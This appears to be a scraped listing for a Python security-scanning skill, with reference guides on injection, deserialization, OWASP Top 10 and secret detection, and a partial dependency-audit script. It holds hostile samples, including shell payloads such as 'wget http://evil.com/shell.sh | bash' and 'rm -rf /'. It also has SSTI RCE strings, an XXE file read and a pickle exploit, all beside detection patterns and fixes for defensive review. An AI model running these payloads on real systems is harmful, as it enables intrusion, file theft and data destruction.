Python Security Scan Skill This skill enables comprehensive security scanning of Python projects based on OWASP guidelines, Python security best practices, and framework-specific vulnerabilities. When to Use This Skill - Security audits of Python applications - Code review for security vulnerabilities - Pre-deployment security checks - Dependency vulnerability assessment - Detecting hardcoded secrets and credentials - Framework-specific security reviews (Flask, Django, FastAPI) Supported Frameworks This skill automatically detects and applies framework-specific checks for: - Flask - Template…

)\n }\n return query\n```\n\n---\n\n## Command Injection\n\n### Detection Patterns\n\n**os module:**\n```regex\nos\\.system\\s*\\(\nos\\.popen\\s*\\(\nos\\.spawn[lv]?[pe]?\\s*\\(\n```\n\n**subprocess module:**\n```regex\nsubprocess\\.(call|run|Popen|check_output|check_call)\\s*\\([^)]*shell\\s*=\\s*True\nsubprocess\\.(call|run|Popen|check_output|check_call)\\s*\\(\\s*f[\"']\nsubprocess\\.(call|run|Popen|check_output|check_call)\\s*\\(\\s*[\"'].*[\"']\\s*%\n```\n\n**Vulnerable Code:**\n```python\nimport os\nimport subprocess\n\n# os.system\nos.system(f\"ping {host}\")\nos.system(\"ls \" + directory)\n\n# os.popen\nos.popen(f\"cat {filename}\")\n\n# subprocess with shell=True\nsubprocess.call(f\"ping {host}\", shell=True)\nsubprocess.run(f\"grep {pattern} {file}\", shell=True)\nsubprocess.Popen(f\"ls {dir}\", shell=True, stdout=subprocess.PIPE)\n\n# subprocess with string command\nsubprocess.call(f\"ping {host}\") # Still vulnerable if shell=True is default\n```\n\n**Attack Payloads:**\n```bash\n# Command chaining\n; rm -rf /\n&& cat /etc/passwd\n|| wget http://evil.com/shell.sh | bash\n\n# Subshell execution\n$(cat /etc/passwd)\n`cat /etc/passwd`\n\n# Input redirection\n\u003c /etc/passwd\n> /tmp/pwned\n```\n\n**Safe Alternatives:**\n```python\nimport subprocess\nimport shlex\n\n# Use list arguments (no shell)\nsubprocess.run(['ping', '-c', '1', host])\nsubprocess.run(['grep', pattern, filename])\n\n# If shell is required, use shlex.quote\nsubprocess.run(f\"ping -c 1 {shlex.quote(host)}\", shell=True)\n\n# Validate against allowlist\nimport re\nHOSTNAME_REGEX = re.compile(r'^[a-zA-Z0-9][a-zA-Z0-9.-]*

Python Security Scan Skill This skill enables comprehensive security scanning of Python projects based on OWASP guidelines, Python security best practices, and framework-specific vulnerabilities. When to Use This Skill - Security audits of Python applications - Code review for security vulnerabilities - Pre-deployment security checks - Dependency vulnerability assessment - Detecting hardcoded secrets and credentials - Framework-specific security reviews (Flask, Django, FastAPI) Supported Frameworks This skill automatically detects and applies framework-specific checks for: - Flask - Template…

)\nif not HOSTNAME_REGEX.match(host):\n raise ValueError(\"Invalid hostname\")\nsubprocess.run(['ping', '-c', '1', host])\n```\n\n---\n\n## LDAP Injection\n\n### Detection Patterns\n\n```regex\nldap.*search\\s*\\(\\s*f[\"']\nldap.*search\\s*\\(\\s*[\"'].*[\"']\\s*%\nldap.*search\\s*\\(\\s*[\"'].*[\"']\\s*\\+\n\\(uid=.*\\)\n\\(cn=.*\\)\n\\(mail=.*\\)\n```\n\n**Vulnerable Code:**\n```python\nimport ldap\n\n# Direct string interpolation\nconn.search(f\"(uid={username})\")\nconn.search(\"(uid=%s)\" % username)\nconn.search(\"(uid=\" + username + \")\")\n\n# Multiple fields\nconn.search(f\"(&(uid={username})(password={password}))\")\n```\n\n**Attack Payloads:**\n```\n# Bypass authentication\n*)(uid=*))(|(uid=*\nadmin)(|(password=*\n*))%00\n\n# Information disclosure\n*)(objectClass=*\n```\n\n**Safe Alternatives:**\n```python\nfrom ldap3.utils.conv import escape_filter_chars\n\n# Escape special characters\nsafe_username = escape_filter_chars(username)\nconn.search(f\"(uid={safe_username})\")\n\n# Or manual escaping\ndef ldap_escape(s):\n escape_chars = ['\\\\', '*', '(', ')', '\\x00']\n for char in escape_chars:\n s = s.replace(char, '\\\\' + hex(ord(char))[2:].zfill(2))\n return s\n```\n\n---\n\n## XPath Injection\n\n### Detection Patterns\n\n```regex\nxpath\\s*\\(\\s*f[\"']\n\\.xpath\\s*\\(\\s*[\"'].*[\"']\\s*%\n\\.xpath\\s*\\(\\s*[\"'].*[\"']\\s*\\+\n```\n\n**Vulnerable Code:**\n```python\nfrom lxml import etree\n\n# Direct string interpolation\ntree.xpath(f\"//users/user[@name='{username}']\")\ntree.xpath(\"//users/user[@name='%s']\" % username)\n```\n\n**Attack Payloads:**\n```\n' or '1'='1\n' or ''='\n'] | //user | //user[@name='\n```\n\n**Safe Alternatives:**\n```python\nfrom lxml import etree\n\n# Use XPath variables\ntree.xpath(\"//users/user[@name=$name]\", name=username)\n\n# Or parameterized queries\ntree.xpath(\"//users/user[@name=$name]\", namespaces=None, name=username)\n```\n\n---\n\n## Template Injection (SSTI)\n\n### Detection Patterns\n\n```regex\nrender_template_string\\s*\\(\nTemplate\\s*\\([^)]*\\)\\.render\njinja2\\.Template\\s*\\(\nEnvironment\\s*\\(\\s*\\)\\.from_string\n```\n\n**Vulnerable Code:**\n```python\nfrom flask import render_template_string\nfrom jinja2 import Template\n\n# Direct user input in template\nrender_template_string(user_input)\nrender_template_string(f\"Hello {user_name}\") # If user_name contains {{ }}\n\n# Jinja2 Template\ntemplate = Template(user_input)\ntemplate.render()\n```\n\n**Attack Payloads:**\n```python\n# Read config\n{{ config }}\n{{ config.items() }}\n\n# RCE via Jinja2\n{{ ''.__class__.__mro__[2].__subclasses__() }}\n{{ ''.__class__.__base__.__subclasses__()[X].__init__.__globals__['os'].popen('id').read() }}\n\n# Flask specific\n{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}\n```\n\n**Safe Alternatives:**\n```python\nfrom flask import render_template\nfrom markupsafe import escape\n\n# Use render_template with file-based templates\nrender_template('hello.html', name=user_name)\n\n# If dynamic templates needed, escape user input\nrender_template_string(\"Hello {{ name }}\", name=escape(user_name))\n\n# Use sandboxed environment\nfrom jinja2.sandbox import SandboxedEnvironment\nenv = SandboxedEnvironment()\ntemplate = env.from_string(user_template)\n```\n\n---\n\n## Header Injection\n\n### Detection Patterns\n\n```regex\nresponse\\.headers\\[['\"'][^'\"']+['\"']\\]\\s*=\\s*[^;]+\\+\n\\.add_header\\s*\\([^)]*\\+\n\\.set_header\\s*\\([^)]*\\+\n```\n\n**Vulnerable Code:**\n```python\n# Flask\nresponse.headers['X-Custom'] = user_input\nresponse.headers['Location'] = redirect_url # CRLF injection\n\n# Direct header setting\[email protected]_request\ndef add_header(response):\n response.headers['X-User'] = request.args.get('user')\n return response\n```\n\n**Attack Payloads:**\n```\n# CRLF injection\nvalue\\r\\nX-Injected: malicious\nvalue\\r\\n\\r\\n\u003cscript>alert(1)\u003c/script>\n```\n\n**Safe Alternatives:**\n```python\nimport re\n\ndef sanitize_header(value):\n # Remove CR and LF characters\n return re.sub(r'[\\r\\n]', '', str(value))\n\nresponse.headers['X-Custom'] = sanitize_header(user_input)\n\n# Or use framework-provided sanitization\nfrom werkzeug.utils import escape\n```\n\n---\n\n## Email Header Injection\n\n### Detection Patterns\n\n```regex\n(To|From|Cc|Bcc|Subject)\\s*[:=]\\s*.*\\+\nsend_mail\\s*\\([^)]*\\+\nEmailMessage\\s*\\([^)]*user\n```\n\n**Vulnerable Code:**\n```python\nfrom email.message import EmailMessage\nimport smtplib\n\n# Direct user input in headers\nmsg = EmailMessage()\nmsg['To'] = user_email\nmsg['Subject'] = user_subject # Can inject headers\n\n# String concatenation\nheaders = f\"To: {user_email}\\r\\nSubject: {subject}\"\n```\n\n**Attack Payloads:**\n```\n# Add BCC recipients\[email protected]\\r\\nBcc: [email protected]\n\n# Inject content\nTest\\r\\n\\r\\nMalicious body content\n```\n\n**Safe Alternatives:**\n```python\nimport re\n\ndef sanitize_email_header(value):\n # Remove newlines\n return re.sub(r'[\\r\\n]', '', str(value))\n\n# Validate email format\nimport email_validator\nemail_validator.validate_email(user_email)\n\n# Use framework email functions that handle sanitization\nfrom django.core.mail import send_mail\nsend_mail(subject, message, from_email, [sanitize_email_header(user_email)])\n```\n\n---\n\n## Log Injection\n\n### Detection Patterns\n\n```regex\nlogger?\\.(info|debug|warning|error|critical)\\s*\\([^)]*\\+\nlogger?\\.(info|debug|warning|error|critical)\\s*\\(f[\"']\nlogging\\.(info|debug|warning|error|critical)\\s*\\([^)]*\\+\n```\n\n**Vulnerable Code:**\n```python\nimport logging\n\n# Direct user input in logs\nlogging.info(f\"User {username} logged in\")\nlogging.info(\"Search query: \" + user_query)\n```\n\n**Attack Payloads:**\n```\n# Inject fake log entries\nadmin\\n[INFO] User admin logged in from 127.0.0.1\n\n# Log forging for SIEM bypass\nuser123\\n[INFO] Security scan: No vulnerabilities found\n```\n\n**Safe Alternatives:**\n```python\nimport logging\nimport re\n\ndef sanitize_log(value):\n # Remove newlines and control characters\n return re.sub(r'[\\r\\n\\x00-\\x1f]', '', str(value))\n\nlogging.info(\"User %s logged in\", sanitize_log(username))\n\n# Or use structured logging\nimport structlog\nlogger = structlog.get_logger()\nlogger.info(\"user_logged_in\", username=username) # Automatically escaped\n```\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":10263,"content_sha256":"535ac5923979a26d266042b7e411e0f6262010dab573d109871ca579ae953135"},{"filename":"references/owasp-top-10.md","content":"# OWASP Top 10:2025 - Python Quick Reference\n\n## A01:2021 - Broken Access Control\n\n### Python Patterns to Check\n```python\n# Missing authorization checks\[email protected]('/admin')\ndef admin_panel():\n return render_template('admin.html') # No auth check!\n\n# Insecure direct object reference (IDOR)\[email protected]('/user/\u003cuser_id>')\ndef get_user(user_id):\n return User.query.get(user_id) # No ownership verification\n\n# Path traversal\nfilename = request.args.get('file')\nreturn send_file(f'/uploads/{filename}') # Can access ../../../etc/passwd\n```\n\n### Remediation\n- Implement proper authorization decorators\n- Verify resource ownership before access\n- Use allowlists for file access\n- Implement role-based access control (RBAC)\n\n---\n\n## A02:2021 - Cryptographic Failures\n\n### Python Patterns to Check\n```python\n# Weak hashing\nimport hashlib\nhashlib.md5(password.encode()) # MD5 is broken\nhashlib.sha1(password.encode()) # SHA1 is weak for passwords\n\n# Hardcoded secrets\nSECRET_KEY = \"super_secret_key_123\"\nAPI_KEY = \"sk-1234567890abcdef\"\n\n# Weak random for security\nimport random\ntoken = random.randint(0, 999999) # Predictable!\n\n# No salt in password hashing\nhash = hashlib.sha256(password.encode()).hexdigest()\n```\n\n### Remediation\n```python\n# Use bcrypt or argon2 for passwords\nfrom bcrypt import hashpw, gensalt\nhashed = hashpw(password.encode(), gensalt())\n\n# Use secrets module for tokens\nimport secrets\ntoken = secrets.token_urlsafe(32)\n\n# Load secrets from environment\nimport os\nSECRET_KEY = os.environ.get('SECRET_KEY')\n```\n\n---\n\n## A03:2021 - Injection\n\n### Python Patterns to Check\n```python\n# SQL Injection\ncursor.execute(f\"SELECT * FROM users WHERE id = {user_id}\")\ncursor.execute(\"SELECT * FROM users WHERE name = '%s'\" % name)\n\n# Command Injection\nos.system(f\"ping {user_input}\")\nsubprocess.call(f\"ls {directory}\", shell=True)\n\n# LDAP Injection\nldap.search(f\"(uid={username})\")\n\n# Template Injection (SSTI)\nreturn render_template_string(user_input)\n```\n\n### Remediation\n```python\n# Parameterized queries\ncursor.execute(\"SELECT * FROM users WHERE id = %s\", (user_id,))\n\n# Avoid shell=True, use lists\nsubprocess.run(['ping', '-c', '1', validated_host], shell=False)\n\n# Escape LDAP special characters\nfrom ldap3.utils.conv import escape_filter_chars\nldap.search(f\"(uid={escape_filter_chars(username)})\")\n```\n\n---\n\n## A04:2021 - Insecure Design\n\n### Python Patterns to Check\n```python\n# No rate limiting\[email protected]('/login', methods=['POST'])\ndef login():\n # Can be brute-forced indefinitely\n pass\n\n# No account lockout\nif check_password(password, stored_hash):\n return success\n# Failed attempts not tracked\n\n# Sensitive data in URLs\[email protected]('/reset-password/\u003ctoken>') # Token logged in access logs\n```\n\n### Remediation\n- Implement rate limiting (Flask-Limiter, django-ratelimit)\n- Add account lockout after failed attempts\n- Use POST for sensitive data\n- Implement CAPTCHA for auth endpoints\n\n---\n\n## A05:2021 - Security Misconfiguration\n\n### Python Patterns to Check\n```python\n# Debug mode in production\napp.run(debug=True) # Flask\nDEBUG = True # Django\n\n# Default credentials\napp.secret_key = 'development'\n\n# Verbose error messages\[email protected](Exception)\ndef handle_error(e):\n return str(e), 500 # Leaks stack traces\n\n# Missing security headers\n# No CSP, X-Frame-Options, etc.\n```\n\n### Remediation\n```python\n# Flask\napp.config['DEBUG'] = False\napp.config['SECRET_KEY'] = os.environ.get('SECRET_KEY')\n\n# Django\nDEBUG = False\nALLOWED_HOSTS = ['example.com']\n\n# Add security headers (Flask-Talisman, django-csp)\n```\n\n---\n\n## A06:2021 - Vulnerable and Outdated Components\n\n### Tools\n```bash\n# pip-audit\npip-audit\n\n# Safety\nsafety check -r requirements.txt\n\n# Snyk\nsnyk test\n```\n\n### Common Vulnerable Packages\n- `pyyaml \u003c 5.4` - Arbitrary code execution\n- `pillow \u003c 8.3.2` - Multiple CVEs\n- `urllib3 \u003c 1.26.5` - CRLF injection\n- `requests \u003c 2.20.0` - CVE-2018-18074\n- `django \u003c 3.2.4` - Multiple vulnerabilities\n- `flask \u003c 2.0` - Security improvements\n\n---\n\n## A07:2021 - Identification and Authentication Failures\n\n### Python Patterns to Check\n```python\n# Weak password requirements\nif len(password) >= 4: # Too short!\n create_user(password)\n\n# Session fixation\nsession['user_id'] = user.id\n# Session ID not regenerated after login\n\n# Credentials in code\ndef connect_db():\n return psycopg2.connect(\n host=\"db.example.com\",\n user=\"admin\",\n password=\"admin123\" # Hardcoded!\n )\n\n# No MFA support\n# Insecure \"remember me\" implementation\n```\n\n### Remediation\n- Enforce strong password policies\n- Regenerate session ID after authentication\n- Use environment variables for credentials\n- Implement MFA\n- Secure session configuration\n\n---\n\n## A08:2021 - Software and Data Integrity Failures\n\n### Python Patterns to Check\n```python\n# Insecure deserialization\nimport pickle\ndata = pickle.loads(user_input) # RCE!\n\nimport yaml\nyaml.load(user_input) # Use safe_load!\n\n# Unverified downloads\nresponse = requests.get(url)\nexec(response.text) # Never do this!\n\n# No integrity checks on dependencies\n# pip install without --require-hashes\n```\n\n### Remediation\n```python\n# Use safe loaders\nimport yaml\ndata = yaml.safe_load(user_input)\n\n# Verify signatures/checksums\nimport hashlib\nif hashlib.sha256(content).hexdigest() != expected_hash:\n raise ValueError(\"Integrity check failed\")\n\n# Pin dependencies with hashes\n# pip install --require-hashes -r requirements.txt\n```\n\n---\n\n## A09:2021 - Security Logging and Monitoring Failures\n\n### Python Patterns to Check\n```python\n# No logging of security events\ndef login(username, password):\n if authenticate(username, password):\n return success\n return failure # Failed login not logged!\n\n# Logging sensitive data\nlogger.info(f\"User {username} logged in with password {password}\")\n\n# No audit trail\ndef delete_user(user_id):\n User.query.filter_by(id=user_id).delete()\n # No record of who deleted what\n```\n\n### Remediation\n```python\nimport logging\n\n# Log security events\nlogger.warning(f\"Failed login attempt for user {username} from {ip}\")\nlogger.info(f\"User {user_id} deleted by admin {admin_id}\")\n\n# Never log sensitive data\nlogger.info(f\"User {username} logged in\") # No password!\n```\n\n---\n\n## A10:2021 - Server-Side Request Forgery (SSRF)\n\n### Python Patterns to Check\n```python\n# SSRF via user-controlled URL\nurl = request.args.get('url')\nresponse = requests.get(url) # Can access internal services!\n\n# Webhook callbacks\ncallback_url = data.get('callback')\nrequests.post(callback_url, json=result)\n\n# Image processing\nimage_url = request.form['image_url']\nimg = Image.open(requests.get(image_url, stream=True).raw)\n```\n\n### Remediation\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\n\ndef is_safe_url(url):\n parsed = urlparse(url)\n\n # Only allow HTTPS\n if parsed.scheme != 'https':\n return False\n\n # Block internal IPs\n try:\n ip = ipaddress.ip_address(parsed.hostname)\n if ip.is_private or ip.is_loopback:\n return False\n except ValueError:\n pass # It's a hostname\n\n # Allowlist domains\n allowed_domains = ['api.example.com', 'cdn.example.com']\n if parsed.hostname not in allowed_domains:\n return False\n\n return True\n```\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":7238,"content_sha256":"426c524fe3a50e37d37a1f6f4f5459698e4b7cb4c57dc1616327c0114821791b"},{"filename":"references/python-vulnerabilities.md","content":"# Python-Specific Security Vulnerabilities\n\n## Code Execution Vulnerabilities\n\n### eval() and exec()\n\n**Risk:** CRITICAL - Arbitrary code execution\n\n```python\n# VULNERABLE\nuser_expr = request.args.get('expr')\nresult = eval(user_expr) # RCE!\n\ncode = request.form.get('code')\nexec(code) # RCE!\n\n# Also dangerous\neval(compile(user_input, '\u003cstring>', 'eval'))\n```\n\n**Detection Pattern:**\n```regex\neval\\s*\\(\nexec\\s*\\(\ncompile\\s*\\(.*['\"](eval|exec|single)['\"]\n```\n\n**Remediation:**\n```python\n# Use ast.literal_eval for safe evaluation of literals\nimport ast\nresult = ast.literal_eval(user_input) # Only parses Python literals\n\n# Use a safe expression parser for math\nimport simpleeval\nresult = simpleeval.simple_eval(user_expr)\n\n# Never execute user-provided code\n```\n\n---\n\n### Input Functions\n\n**Risk:** HIGH - Code injection in Python 2\n\n```python\n# VULNERABLE (Python 2 only)\nname = input(\"Enter name: \") # Actually calls eval()!\n\n# Safe in Python 3, but input() was raw_input() in Python 2\n```\n\n**Remediation:**\n- Ensure Python 3 is used\n- In Python 2, always use `raw_input()`\n\n---\n\n## Deserialization Vulnerabilities\n\n### pickle\n\n**Risk:** CRITICAL - Arbitrary code execution\n\n```python\n# VULNERABLE\nimport pickle\n\ndata = pickle.loads(user_data) # RCE!\ndata = pickle.load(user_file) # RCE!\n\n# Also affects cPickle\nimport cPickle\ndata = cPickle.loads(user_data) # RCE!\n```\n\n**Detection Pattern:**\n```regex\npickle\\.loads?\\s*\\(\ncPickle\\.loads?\\s*\\(\n```\n\n**Exploitation Example:**\n```python\nimport pickle\nimport os\n\nclass Exploit:\n def __reduce__(self):\n return (os.system, ('rm -rf /',))\n\n# This payload executes os.system('rm -rf /') when unpickled\npayload = pickle.dumps(Exploit())\n```\n\n**Remediation:**\n```python\n# Never unpickle untrusted data\n# Use JSON for data serialization\nimport json\ndata = json.loads(user_data)\n\n# If pickle is necessary, use hmac for integrity\nimport hmac\nimport hashlib\n\ndef secure_pickle_dumps(obj, key):\n data = pickle.dumps(obj)\n sig = hmac.new(key, data, hashlib.sha256).hexdigest()\n return sig + ':' + data.hex()\n\ndef secure_pickle_loads(signed_data, key):\n sig, data_hex = signed_data.split(':')\n data = bytes.fromhex(data_hex)\n expected_sig = hmac.new(key, data, hashlib.sha256).hexdigest()\n if not hmac.compare_digest(sig, expected_sig):\n raise ValueError(\"Invalid signature\")\n return pickle.loads(data)\n```\n\n---\n\n### YAML\n\n**Risk:** CRITICAL - Arbitrary code execution with yaml.load()\n\n```python\n# VULNERABLE\nimport yaml\ndata = yaml.load(user_input) # RCE with !!python/object\n\n# Malicious YAML payload:\n# !!python/object/apply:os.system ['rm -rf /']\n```\n\n**Detection Pattern:**\n```regex\nyaml\\.load\\s*\\([^)]*\\)(?!\\s*,\\s*Loader\\s*=\\s*yaml\\.SafeLoader)\nyaml\\.load\\s*\\([^,)]+\\)$\n```\n\n**Remediation:**\n```python\nimport yaml\n\n# Always use safe_load\ndata = yaml.safe_load(user_input)\n\n# Or explicitly specify SafeLoader\ndata = yaml.load(user_input, Loader=yaml.SafeLoader)\n```\n\n---\n\n### marshal\n\n**Risk:** HIGH - Code execution possibility\n\n```python\n# VULNERABLE\nimport marshal\ncode = marshal.loads(user_data)\nexec(code)\n```\n\n**Remediation:**\n- Never unmarshal untrusted data\n- marshal is for internal Python use only\n\n---\n\n## Command Injection\n\n### os.system() and os.popen()\n\n**Risk:** CRITICAL - Command injection\n\n```python\n# VULNERABLE\nimport os\n\nos.system(f\"ping {user_host}\")\nos.system(\"ls \" + user_dir)\nos.popen(f\"cat {filename}\")\n\n# Shell metacharacters allow injection:\n# user_host = \"google.com; rm -rf /\"\n```\n\n**Detection Pattern:**\n```regex\nos\\.system\\s*\\(\nos\\.popen\\s*\\(\n```\n\n**Remediation:**\n```python\nimport subprocess\nimport shlex\n\n# Use subprocess with shell=False (default)\nsubprocess.run(['ping', '-c', '1', validated_host])\n\n# If shell is needed, use shlex.quote\nsubprocess.run(f\"ping -c 1 {shlex.quote(user_host)}\", shell=True)\n\n# Better: validate input against allowlist\nimport re\nif not re.match(r'^[a-zA-Z0-9.-]+

Python Security Scan Skill This skill enables comprehensive security scanning of Python projects based on OWASP guidelines, Python security best practices, and framework-specific vulnerabilities. When to Use This Skill - Security audits of Python applications - Code review for security vulnerabilities - Pre-deployment security checks - Dependency vulnerability assessment - Detecting hardcoded secrets and credentials - Framework-specific security reviews (Flask, Django, FastAPI) Supported Frameworks This skill automatically detects and applies framework-specific checks for: - Flask - Template…

, user_host):\n raise ValueError(\"Invalid hostname\")\n```\n\n---\n\n### subprocess with shell=True\n\n**Risk:** CRITICAL - Command injection\n\n```python\n# VULNERABLE\nimport subprocess\n\nsubprocess.call(f\"ls {user_dir}\", shell=True)\nsubprocess.run(f\"grep {pattern} {file}\", shell=True)\nsubprocess.Popen(user_command, shell=True)\n```\n\n**Detection Pattern:**\n```regex\nsubprocess\\.(call|run|Popen|check_output|check_call)\\s*\\([^)]*shell\\s*=\\s*True\n```\n\n**Remediation:**\n```python\n# Avoid shell=True\nsubprocess.run(['ls', validated_dir])\n\n# Pass arguments as list\nsubprocess.run(['grep', pattern, filename])\n```\n\n---\n\n## Path Traversal\n\n### File Operations\n\n**Risk:** HIGH - Arbitrary file read/write\n\n```python\n# VULNERABLE\nfilename = request.args.get('file')\nwith open(f'/uploads/{filename}', 'r') as f: # ../../../etc/passwd\n return f.read()\n\n# Also vulnerable\nos.path.join('/uploads', filename) # Doesn't prevent absolute paths!\n```\n\n**Detection Pattern:**\n```regex\nopen\\s*\\([^)]*\\+[^)]*\\)\nopen\\s*\\(f['\"]['\"]\nsend_file\\s*\\(\n```\n\n**Remediation:**\n```python\nimport os\n\ndef safe_path(base_dir, filename):\n # Resolve to absolute path\n filepath = os.path.abspath(os.path.join(base_dir, filename))\n\n # Ensure it's still within base_dir\n if not filepath.startswith(os.path.abspath(base_dir)):\n raise ValueError(\"Path traversal detected\")\n\n return filepath\n\n# Or use pathlib\nfrom pathlib import Path\n\ndef safe_path(base_dir, filename):\n base = Path(base_dir).resolve()\n filepath = (base / filename).resolve()\n\n if not filepath.is_relative_to(base):\n raise ValueError(\"Path traversal detected\")\n\n return filepath\n```\n\n---\n\n## SQL Injection\n\n### String Formatting in Queries\n\n**Risk:** CRITICAL - SQL injection\n\n```python\n# VULNERABLE - String formatting\ncursor.execute(f\"SELECT * FROM users WHERE id = {user_id}\")\ncursor.execute(\"SELECT * FROM users WHERE name = '%s'\" % name)\ncursor.execute(\"SELECT * FROM users WHERE name = '\" + name + \"'\")\n\n# VULNERABLE - Even with ORMs if using raw queries\nUser.objects.raw(f\"SELECT * FROM users WHERE name = '{name}'\")\ndb.session.execute(f\"SELECT * FROM users WHERE id = {id}\")\n```\n\n**Detection Pattern:**\n```regex\n\\.execute\\s*\\(\\s*f['\"']\n\\.execute\\s*\\([^)]*%\n\\.execute\\s*\\([^)]*\\+\n\\.raw\\s*\\(\\s*f['\"']\n```\n\n**Remediation:**\n```python\n# Use parameterized queries\ncursor.execute(\"SELECT * FROM users WHERE id = %s\", (user_id,))\n\n# SQLAlchemy\nfrom sqlalchemy import text\ndb.session.execute(text(\"SELECT * FROM users WHERE id = :id\"), {\"id\": user_id})\n\n# Django ORM - use querysets\nUser.objects.filter(id=user_id)\n```\n\n---\n\n## XML Vulnerabilities\n\n### XXE (XML External Entity)\n\n**Risk:** HIGH - File disclosure, SSRF\n\n```python\n# VULNERABLE\nfrom xml.etree.ElementTree import parse\ntree = parse(user_file) # XXE possible\n\nfrom lxml import etree\ndoc = etree.parse(user_file) # XXE possible\n```\n\n**Malicious XML:**\n```xml\n\u003c?xml version=\"1.0\"?>\n\u003c!DOCTYPE foo [\n \u003c!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n]>\n\u003cdata>&xxe;\u003c/data>\n```\n\n**Remediation:**\n```python\n# defusedxml - safe by default\nimport defusedxml.ElementTree as ET\ntree = ET.parse(user_file)\n\n# Or disable external entities in lxml\nfrom lxml import etree\nparser = etree.XMLParser(resolve_entities=False, no_network=True)\ndoc = etree.parse(user_file, parser)\n```\n\n---\n\n## Cryptographic Issues\n\n### Weak Random\n\n**Risk:** HIGH - Predictable tokens\n\n```python\n# VULNERABLE\nimport random\ntoken = random.randint(0, 999999)\nsession_id = ''.join(random.choice('abc123') for _ in range(16))\n```\n\n**Detection Pattern:**\n```regex\nrandom\\.(randint|choice|random|sample)\\s*\\(\n```\n\n**Remediation:**\n```python\nimport secrets\n\n# Generate secure random token\ntoken = secrets.token_urlsafe(32)\nsession_id = secrets.token_hex(16)\n\n# Secure random integer\nsecure_number = secrets.randbelow(1000000)\n```\n\n---\n\n### Weak Hashing\n\n**Risk:** HIGH - Password cracking\n\n```python\n# VULNERABLE\nimport hashlib\npassword_hash = hashlib.md5(password.encode()).hexdigest()\npassword_hash = hashlib.sha1(password.encode()).hexdigest()\npassword_hash = hashlib.sha256(password.encode()).hexdigest() # No salt!\n```\n\n**Detection Pattern:**\n```regex\nhashlib\\.(md5|sha1|sha256)\\s*\\([^)]*password\n```\n\n**Remediation:**\n```python\n# Use bcrypt\nimport bcrypt\nhashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt())\nif bcrypt.checkpw(password.encode(), hashed):\n # Valid password\n\n# Or argon2\nfrom argon2 import PasswordHasher\nph = PasswordHasher()\nhashed = ph.hash(password)\nph.verify(hashed, password)\n\n# Or passlib\nfrom passlib.hash import argon2\nhashed = argon2.hash(password)\nargon2.verify(password, hashed)\n```\n\n---\n\n## Hardcoded Secrets\n\n### Common Patterns\n\n**Risk:** CRITICAL - Credential exposure\n\n```python\n# VULNERABLE\nSECRET_KEY = \"my-super-secret-key\"\nAPI_KEY = \"sk_live_1234567890abcdef\"\nDATABASE_URL = \"postgresql://user:password@localhost/db\"\nAWS_SECRET_KEY = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n\npassword = \"admin123\"\ntoken = \"ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n```\n\n**Detection Pattern:**\n```regex\n(SECRET|KEY|TOKEN|PASSWORD|CREDENTIAL|API_KEY|AUTH)\\s*=\\s*['\"'][^'\"']+['\"']\n(sk_live_|sk_test_|pk_live_|pk_test_)[a-zA-Z0-9]+\n(ghp_|gho_|ghu_|ghs_|ghr_)[a-zA-Z0-9]+\nAKIA[0-9A-Z]{16}\n```\n\n**Remediation:**\n```python\nimport os\n\n# Load from environment\nSECRET_KEY = os.environ.get('SECRET_KEY')\nAPI_KEY = os.environ.get('API_KEY')\n\n# Or use python-dotenv\nfrom dotenv import load_dotenv\nload_dotenv()\n\n# Or use a secrets manager\nimport boto3\nclient = boto3.client('secretsmanager')\nsecret = client.get_secret_value(SecretId='my-secret')\n```\n\n---\n\n## Assert Statements\n\n### Using assert for Security\n\n**Risk:** MEDIUM - Bypassed with -O flag\n\n```python\n# VULNERABLE\nassert user.is_admin, \"Admin required\" # Skipped with python -O!\nassert len(password) >= 8, \"Password too short\"\n```\n\n**Detection Pattern:**\n```regex\nassert\\s+.*\\.(is_admin|is_authenticated|has_permission)\nassert\\s+.*password\nassert\\s+.*auth\n```\n\n**Remediation:**\n```python\n# Use explicit checks\nif not user.is_admin:\n raise PermissionError(\"Admin required\")\n\nif len(password) \u003c 8:\n raise ValueError(\"Password too short\")\n```\n\n---\n\n## Temporary Files\n\n### Insecure Temporary Files\n\n**Risk:** MEDIUM - Race conditions, symlink attacks\n\n```python\n# VULNERABLE\nfilename = '/tmp/myapp_' + str(random.randint(0, 9999))\nwith open(filename, 'w') as f:\n f.write(data)\n```\n\n**Remediation:**\n```python\nimport tempfile\n\n# Secure temporary file\nwith tempfile.NamedTemporaryFile(delete=False) as f:\n f.write(data)\n temp_path = f.name\n\n# Secure temporary directory\nwith tempfile.TemporaryDirectory() as tmpdir:\n filepath = os.path.join(tmpdir, 'file.txt')\n```\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":10563,"content_sha256":"6eacb70ac1e6d242ddee0709d1ec9f8d470a50582bb1b137433f410a640b216d"},{"filename":"scripts/dependency-audit.sh","content":"#!/bin/bash\n#\n# Dependency Audit Script for Python Projects\n# Checks for known vulnerabilities in pip/pipenv/poetry dependencies\n#\n\nset -e\n\n# Colors for output\nRED='\\033[0;31m'\nYELLOW='\\033[1;33m'\nGREEN='\\033[0;32m'\nBLUE='\\033[0;34m'\nNC='\\033[0m' # No Color\n\nPROJECT_DIR=\"${1:-.}\"\n\necho -e \"${BLUE}========================================${NC}\"\necho -e \"${BLUE} Python Dependency Security Audit${NC}\"\necho -e \"${BLUE}========================================${NC}\"\necho \"\"\n\ncd \"$PROJECT_DIR\"\n\n# Detect package manager and dependency files\nPKG_MANAGER=\"\"\nif [ -f \"Pipfile.lock\" ]; then\n PKG_MANAGER=\"pipenv\"\nelif [ -f \"poetry.lock\" ]; then\n PKG_MANAGER=\"poetry\"\nelif [ -f \"requirements.txt\" ]; then\n PKG_MANAGER=\"pip\"\nelif [ -f \"pyproject.toml\" ]; then\n # Check if it's poetry or pip with pyproject.toml\n if grep -q \"\\[tool.poetry\\]\" pyproject.toml 2>/dev/null; then\n PKG_MANAGER=\"poetry\"\n else\n PKG_MANAGER=\"pip\"\n fi\nelse\n echo -e \"${RED}Error: No dependency file found (requirements.txt, Pipfile, pyproject.toml)${NC}\"\n exit 1\nfi\n\necho -e \"Detected package manager: 